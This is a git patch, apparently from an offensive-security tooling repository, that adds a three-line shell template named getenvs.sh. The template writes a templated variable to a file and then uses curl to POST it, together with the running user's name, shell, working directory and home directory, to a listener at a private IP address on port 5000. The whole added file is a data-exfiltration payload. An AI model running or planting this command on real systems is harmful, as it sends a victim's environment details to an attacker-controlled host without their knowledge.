From 5f6f01e9abb2c2cc87551e9f54495c2e97b968d3 Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Sun, 9 Jul 2023 10:59:24 +0100 Subject: [PATCH] Add files via upload --- templates/rfs/getenvs.sh | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 templates/rfs/getenvs.sh diff --git a/templates/rfs/getenvs.sh b/templates/rfs/getenvs.sh new file mode 100644 index 0000000..ffcb48f --- /dev/null +++ b/templates/rfs/getenvs.sh @@ -0,0 +1,3 @@ +myvariable={{rfsvars["myvariable"]}}; +echo $myvariable > textfile.txt; +curl -X POST -d "recieved=$myvariable&user=$USER&shell=$SHELL&pwd=$PWD&home=$HOME" http://192.168.1.146:5000/l \ No newline at end of file